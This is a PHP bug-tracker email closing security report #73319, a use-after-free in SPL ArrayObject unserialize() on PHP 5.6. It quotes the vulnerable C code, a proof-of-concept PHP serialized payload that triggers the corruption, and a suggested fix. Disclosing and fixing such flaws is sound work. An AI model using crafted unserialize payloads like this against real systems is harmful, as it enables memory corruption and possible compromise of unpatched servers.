Sec Bug->Bug #73319 [Opn->Csd]: Use-after-free Vulnerabilities in unserialize() with SPL Deserialization
| From: | nikic@php.net | Date: | Wed, 10 Jun 2020 10:59:39 +0000 |
| Subject: | Sec Bug->Bug #73319 [Opn->Csd]: Use-after-free Vulnerabilities in unserialize() with SPL Deserialization | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-227403@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=73319&edit=1
ID: 73319
Updated by: nikic@php.net
Reported by: taoguangchen at icloud dot com
Summary: Use-after-free Vulnerabilities in unserialize() with
SPL Deserialization
-Status: Open
+Status: Closed
-Type: Security
+Type: Bug
Package: SPL related
PHP Version: 5.6.26
-Assigned To:
+Assigned To: nikic
Block user comment: N
Private report: Y
New Comment:
Can't reproduce any memory corruption in current PHP versions. It looks like this code was
switched to use var_tmp_var() at some point, and as such doesn't immediately destroy values any
more.
Previous Comments:
------------------------------------------------------------------------
[2016-10-14 01:14:19] taoguangchen at icloud dot com
Description:
------------
```
SPL_METHOD(Array, unserialize)
{
...
ALLOC_INIT_ZVAL(pflags);
if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) ||
Z_TYPE_P(pflags) != IS_LONG) {
goto outexcept;
}
...
outexcept:
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
if (pflags) {
zval_ptr_dtor(&pflags);
}
zend_throw_exception_ex(spl_ce_UnexpectedValueException, 0 TSRMLS_CC, "Error at offset %ld
of %d bytes", (long)((char*)p - buf), buf_len);
return;
```
When the php_var_unserialize call to fails, zval will be freed via zval_ptr_dtor, but it is still
possible to be referenced by external php_var_unserialize.
PoC:
```
<?php
class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
try {
$this->data = unserialize($data);
} catch (Exception $e) {
// do something
}
}
}
$inner = 'x:s:1:"A";';
$inner =
'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
$exploit =
'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';
$data = unserialize($exploit);
var_dump($data);
?>
```
Fix:
Some similar issues exists in other php_var_unserialize call to fails in ArrayObject
deserialization, and also exists in SplObjectStorage/SplDoublyLinkedList.
Fix these issues you need to use var_push_dtor_no_addref instead of zval_ptr_dtor.
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=73319&edit=1